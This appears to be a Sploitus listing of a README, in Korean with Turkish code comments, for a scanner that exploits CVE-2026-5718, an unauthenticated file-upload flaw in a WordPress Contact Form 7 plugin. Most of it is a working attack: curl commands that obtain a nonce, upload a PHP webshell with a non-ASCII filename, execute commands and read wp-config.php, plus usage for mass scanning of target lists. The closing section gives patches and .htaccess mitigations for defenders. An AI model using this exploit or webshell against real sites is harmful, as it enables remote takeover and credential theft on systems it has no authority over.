Sploitus

Exploit for CVE-2026-5718

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN492 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XXCONI-CVE-2026-5718
# CVE-2026-5718

CVE-2026-5718: DnD Upload CF7 ν”ŒλŸ¬κ·ΈμΈμ˜ μΈμ¦λ˜μ§€ μ•Šμ€ 파일 μ—…λ‘œλ“œλ₯Ό ν†΅ν•œ RCE

# CVE-2026-5718 β€” DnD CF7 파일 μ—…λ‘œλ“œ RCE μŠ€μΊλ„ˆ

> **ν”ŒλŸ¬κ·ΈμΈ:** Drag and Drop Multiple File Upload for Contact Form 7 **ν”ŒλŸ¬κ·ΈμΈ 슬러그:** `drag-and-drop-multiple-file-upload-contact-form-7` **CVE ID:** CVE-2026-5718 **CVSS 점수:** 8.1 (λ†’μŒ) **CVSS 벑터:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` **취약점 μœ ν˜•:** μΈμ¦λ˜μ§€ μ•Šμ€ μž„μ˜ 파일 μ—…λ‘œλ“œ β†’ 원격 μ½”λ“œ μ‹€ν–‰ **영ν–₯λ°›λŠ” 버전:** <= 1.3.9.6 **패치 버전:** 1.3.9.7 **곡개 λ‚ μ§œ:** 2026λ…„ 4μ›” 17일 **μ—°κ΅¬μž:** Leonid Semenenko (lsemenenko) β€” Wordfence

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## πŸ“Œ 취약점 정보

Drag and Drop Multiple File Upload for Contact Form 7 ν”ŒλŸ¬κ·ΈμΈμ—μ„œ **두 κ°€μ§€ 독립적인 논리 였λ₯˜** κ°€ κ²°ν•©λ˜μ–΄ μΈμ¦λ˜μ§€ μ•Šμ€ κ³΅κ²©μžκ°€ PHP 웹셸을 μ—…λ‘œλ“œν•  수 있게 ν•©λ‹ˆλ‹€.

  1. **λΈ”λž™λ¦¬μŠ€νŠΈ 무λ ₯ν™”:** μ‚¬μš©μž μ •μ˜ λΈ”λž™λ¦¬μŠ€νŠΈ ꡬ성이 κΈ°λ³Έ μœ„ν—˜ν•œ ν™•μž₯자 λͺ©λ‘μ„ **λ³‘ν•©ν•˜λŠ” λŒ€μ‹  μ™„μ „νžˆ λŒ€μ²΄ν•©λ‹ˆλ‹€.** 이제 `php`λŠ” 더 이상 μ°¨λ‹¨λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.
  2. **λΉ„-ASCII 우회:** 파일 이름에 λΉ„-ASCII λ¬Έμžκ°€ 있으면 `wpcf7_antiscript_file_name()` ν•¨μˆ˜ 호좜이 μ°¨λ‹¨λ©λ‹ˆλ‹€. `.php` ν™•μž₯μžκ°€ μœ μ§€λ˜κ³  파일이 λ””μŠ€ν¬μ— κΈ°λ‘λ©λ‹ˆλ‹€.



* * *

## πŸ” 취약점 μš”μ•½

* * *

## βš™οΈ 기술 뢄석

### 취약점 1 β€” Nonce 곡개 (62ν–‰)

root@kitploit:~
    
    
    // inc/dnd-upload-cf7.php β€” lines 62–71
    function dnd_wpcf7_nonce_check() {
        // Tek koruma: User-Agent'ta 'curl' kontrolΓΌ β€” kolayca atlatΔ±lΔ±r
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // GeΓ§ersiz nonce β†’ YENΔ° NONCE DΓ–NDÜRÜR
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

`wp_ajax_nopriv__wpcf7_check_nonce` μ•‘μ…˜μ€ κ³΅κ°œλ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. μœ νš¨ν•˜μ§€ μ•Šμ€ nonceλ₯Ό 보내면 **μƒˆ nonceκ°€ 무료둜 μ œκ³΅λ©λ‹ˆλ‹€.** Mozilla UA둜 curl 검사λ₯Ό μš°νšŒν•©λ‹ˆλ‹€.

* * *

### 취약점 2 β€” λΈ”λž™λ¦¬μŠ€νŠΈ 병합 λŒ€μ‹  λŒ€μ²΄ (883ν–‰)

root@kitploit:~
    
    
    // inc/dnd-upload-cf7.php β€” lines 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 tehlikeli uzantΔ±: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASSIGNMENT (=) β€” MERGE DEĞİL
        // Γ–zel liste: sadece ['zip']
        // 'php' artΔ±k listede YOK β†’ kabul edilir
    }
    

νŠΈλ¦¬κ±°ν•˜λŠ” 폼 νƒœκ·Έ ꡬ성:

root@kitploit:~
    
    
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

κ΄€λ¦¬μžκ°€ ZIP을 μ°¨λ‹¨ν•˜λ €κ³  ν•˜λ©΄ β†’ ν”ŒλŸ¬κ·ΈμΈμ΄ λͺ¨λ“  κΈ°λ³Έ 차단 λͺ©λ‘μ„ μ‚­μ œν•©λ‹ˆλ‹€. `php`λ₯Ό ν¬ν•¨ν•œ λͺ¨λ“  μœ„ν—˜ν•œ ν™•μž₯μžκ°€ 이제 ν—ˆμš©λ©λ‹ˆλ‹€.

λ˜ν•œ `filetypes="*"`에 λŒ€ν•œ ν•˜λ“œμ½”λ”© λͺ©λ‘λ„ λΆˆμ™„μ „ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    // line 927 β€” 'php', 'php3', 'php4', 'pht', 'phtml' EKSΔ°K
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

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### 취약점 3 β€” λΉ„-ASCII 우회 (970ν–‰)

root@kitploit:~
    
    
    // inc/dnd-upload-cf7.php β€” lines 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // Sadece pure-ASCII dosya adları için çağrılır
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ shell.php β†’ shell.php.txt yapardΔ± β€” ama atlanΔ±yor
    }
    // Non-ASCII karakter varsa bu blok ATLANIR
    // $filename = "shellγ‚·.php" β†’ .php uzantΔ±sΔ± korunur
    

root@kitploit:~
    
    
    // dnd_cf7_check_ascii() β€” lines 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ Sadece lokal kopya değişir, dış $filename ETKΔ°LENMEZ
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // Non-ASCII karakter β†’ false β†’ antiscript atlanΔ±r
    }
    

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## πŸ”΄ 전체 곡격 체인

root@kitploit:~
    
    
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   β”‚
    β”‚  User-Agent: Mozilla/5.0  (curl değil)                     β”‚
    β”‚       β”‚                                                     β”‚
    β”‚       β–Ό                                                     β”‚
    β”‚  {"success":true,"data":"abc123def456"}                     β”‚
    β”‚  β†’ Nonce ΓΌcretsiz alΔ±ndΔ±                                    β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  β”‚
    β”‚  security=abc123def456                                      β”‚
    β”‚  upload-file=shellγ‚·.php (Content-Type: application/x-php) β”‚
    β”‚       β”‚                                                     β”‚
    β”‚       β”œβ”€β”€ Nonce geΓ§erli βœ“                                   β”‚
    β”‚       β”œβ”€β”€ blacklist=['zip'] β†’ 'php' engellenmez βœ“          β”‚
    β”‚       β”œβ”€β”€ dnd_cf7_check_ascii("shellγ‚·.php") = false        β”‚
    β”‚       β”œβ”€β”€ wpcf7_antiscript_file_name() ATLANIR βœ“           β”‚
    β”‚       └── move_uploaded_file("shellγ‚·.php") β†’ Diske yazΔ±ldΔ±β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚  GET /wp-content/uploads/wp_dndcf7_uploads/                 β”‚
    β”‚      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          β”‚
    β”‚       β”‚                                                     β”‚
    β”‚       β–Ό                                                     β”‚
    β”‚  uid=33(www-data) gid=33(www-data) groups=33(www-data)     β”‚
    β”‚  β†’ Unauthenticated RCE βœ“                                    β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
    

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## πŸ§ͺ κ°œλ… 증λͺ… (μˆ˜λ™)

> ⚠️ **κ³ μ§€:** 이 PoCλŠ” ꡐ윑 및 방어적 λ³΄μ•ˆ 연ꡬ λͺ©μ μœΌλ‘œλ§Œ μ œκ³΅λ©λ‹ˆλ‹€. μ†Œμœ ν•œ μ‹œμŠ€ν…œμ΄λ‚˜ λͺ…μ‹œμ μΈ μ„œλ©΄ μŠΉμΈμ„ 받은 μ‹œμŠ€ν…œμ—μ„œλ§Œ μ‚¬μš©ν•˜μ‹­μ‹œμ˜€.

**μ „μ œ 쑰건:**

  * ν”ŒλŸ¬κ·ΈμΈμ΄ μ„€μΉ˜ 및 ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄μ•Ό 함 (버전 <= 1.3.9.6)
  * CF7 폼에 `[mfile]` ν•„λ“œμ™€ `blacklist-types`κ°€ ν¬ν•¨λ˜μ–΄μ•Ό 함: 

root@kitploit:~
        
        [mfile upload-file filetypes="*" blacklist-types:zip]
        




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### 1단계 β€” Nonce μ–»κΈ°

root@kitploit:~
    
    
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

μ˜ˆμƒ 응닡:

root@kitploit:~
    
    
    {"success": true, "data": "abc123def456"}
    

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### 2단계 β€” λΉ„-ASCII 파일 μ΄λ¦„μœΌλ‘œ μ›Ήμ…Έ 생성

root@kitploit:~
    
    
    # 'γ‚·' (U+30B7 Katakana) β†’ dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellγ‚·.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

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### 3단계 β€” μ…Έ μ—…λ‘œλ“œ

root@kitploit:~
    
    
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

μ˜ˆμƒ 응닡:

root@kitploit:~
    
    
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellγ‚·.php"
      }
    }
    

* * *

### 4단계 β€” μ…Έ URL 생성

root@kitploit:~
    
    
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

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### 5단계 β€” RCE 트리거

root@kitploit:~
    
    
    # id komutu
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # wp-config.php oku
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

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## πŸ› οΈ μžλ™ μŠ€μΊλ„ˆ

### μ„€μΉ˜

root@kitploit:~
    
    
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

**requirements.txt**

root@kitploit:~
    
    
    requests
    

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## πŸš€ μ‚¬μš©λ²•

### 단일 λŒ€μƒ β€” μ™„μ „ μžλ™

root@kitploit:~
    
    
    python dnd_cf7_upload.py -u http://hedef.com
    

### Form ID 및 ν•„λ“œ 이름 μˆ˜λ™

root@kitploit:~
    
    
    python dnd_cf7_upload.py -u http://hedef.com \
      --form-id 1 --field-name upload-file
    

### 전체 μ…Έ + μ‚¬μš©μž μ •μ˜ λͺ…λ Ή

root@kitploit:~
    
    
    python dnd_cf7_upload.py -u http://hedef.com \
      --shell-type full --verify-cmd "whoami"
    

### λŒ€λŸ‰ μŠ€μΊ”

root@kitploit:~
    
    
    python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
    

### ν”„λ‘μ‹œ μ‚¬μš© (Burp Suite)

root@kitploit:~
    
    
    python dnd_cf7_upload.py -u http://hedef.com \
      --proxy http://127.0.0.1:8080
    

* * *

## βš™οΈ λ§€κ°œλ³€μˆ˜

* * *

## πŸ’€ μ…Έ μœ ν˜•

* * *

## πŸ”€ λΉ„-ASCII 문자 μ§‘ν•©

μŠ€μΊλ„ˆλŠ” λ‹€μŒ λ¬Έμžλ“€μ„ μˆœμ„œλŒ€λ‘œ μ‹œλ„ν•©λ‹ˆλ‹€:

* * *

## πŸ“‚ μ…Έ μ—…λ‘œλ“œ μœ„μΉ˜

root@kitploit:~
    
    
    WordPress KΓΆk/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellγ‚·.php   ← Shell burada
    

> ⚠️ **μ°Έκ³ :** ν”ŒλŸ¬κ·ΈμΈμ€ 기본적으둜 1μ‹œκ°„ ν›„ νŒŒμΌμ„ μ •λ¦¬ν•©λ‹ˆλ‹€. 셸은 이 μ‹œκ°„ λ™μ•ˆ μ ‘κ·Ό κ°€λŠ₯ν•œ μƒνƒœμž…λ‹ˆλ‹€.

* * *

## πŸ“Š μŠ€μΊλ„ˆ 좜λ ₯ μƒνƒœ

* * *

## πŸ–₯️ μ˜ˆμ‹œ μŠ€μΊλ„ˆ 좜λ ₯

root@kitploit:~
    
    
    [*] Hedef       : http://hedef.com
    [*] Form ID     : otomatik tespit
    [*] Shell Tipi  : system
    [*] Verify CMD  : id
    
    [β†’] http://hedef.com  AdΔ±m 1/5: Nonce alΔ±nΔ±yor...
    [β†’] http://hedef.com  AdΔ±m 2/5: CF7 form tespiti...
    [β†’] http://hedef.com  AdΔ±m 3/5: Shell yΓΌkleniyor (non-ASCII bypass)...
    [β†’] http://hedef.com  AdΔ±m 4/5: Shell URL oluşturuluyor...
    [β†’] http://hedef.com  AdΔ±m 5/5: RCE doğrulanΔ±yor...
    
    ═════════════════════════════════════════════════════════════════
    [β˜… RCE OK    ] http://hedef.com
      SΓΌrΓΌm       : 1.3.9.6
      Nonce       : abc123def4  (kaynak: ajax_endpoint)
      Non-ASCII   : γ‚·
      Shell URL   : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      RCE Γ‡Δ±ktΔ±  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] Kaydedildi β†’ rce_results.txt
    

* * *

## πŸ›‘οΈ λ°©μ–΄ / 패치

**μ•ˆμ „ν•œ λΈ”λž™λ¦¬μŠ€νŠΈ 병합:**

root@kitploit:~
    
    
    // GΓΌvensiz (mevcut β€” 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // GΓΌvenli (ΓΆnerilen β€” 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

**쑰건 μ—†λŠ” μ•ˆν‹°μŠ€ν¬λ¦½νŠΈ:**

root@kitploit:~
    
    
    // GΓΌvensiz (mevcut)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // GΓΌvenli (ΓΆnerilen)
    $filename = wpcf7_antiscript_file_name( $filename );  // her zaman çağır
    

**μ—…λ‘œλ“œ 디렉토리 .htaccess:**

root@kitploit:~
    
    
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

* * *

## πŸ“ 파일 ꡬ쑰

root@kitploit:~
    
    
    cve-2026-5718-scanner/
    β”œβ”€β”€ dnd_cf7_upload.py   # Ana tarayΔ±cΔ±
    β”œβ”€β”€ requirements.txt    # BağımlΔ±lΔ±klar
    └── README.md           # Bu dosya
    

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## ⚠️ 법적 κ³ μ§€

> 이 도ꡬ와 PoCλŠ” **승인된 μ‹œμŠ€ν…œ** μ—μ„œ **ꡐ윑 λͺ©μ ** 및 **침투 ν…ŒμŠ€νŠΈ** λ²”μœ„ λ‚΄μ—μ„œλ§Œ μ‚¬μš©ν•˜λ„λ‘ μ œμž‘λ˜μ—ˆμŠ΅λ‹ˆλ‹€. 무단 μ‹œμŠ€ν…œμ—μ„œμ˜ μ‚¬μš©μ€ **ν„°ν‚€ ν˜•λ²• 제243-245μ‘°** 및 ꡭ제 사이버 범죄 법λ₯ μ— 따라 **범죄에 ν•΄λ‹Ήν•©λ‹ˆλ‹€.** κ°œλ°œμžλŠ” λ„κ΅¬μ˜ 였용으둜 인해 λ°œμƒν•˜λŠ” μ–΄λ– ν•œ 법적 μ±…μž„λ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

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## πŸ“„ λΌμ΄μ„ μŠ€

MIT License β€” ꡐ윑 및 연ꡬ λͺ©μ μœΌλ‘œλ§Œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

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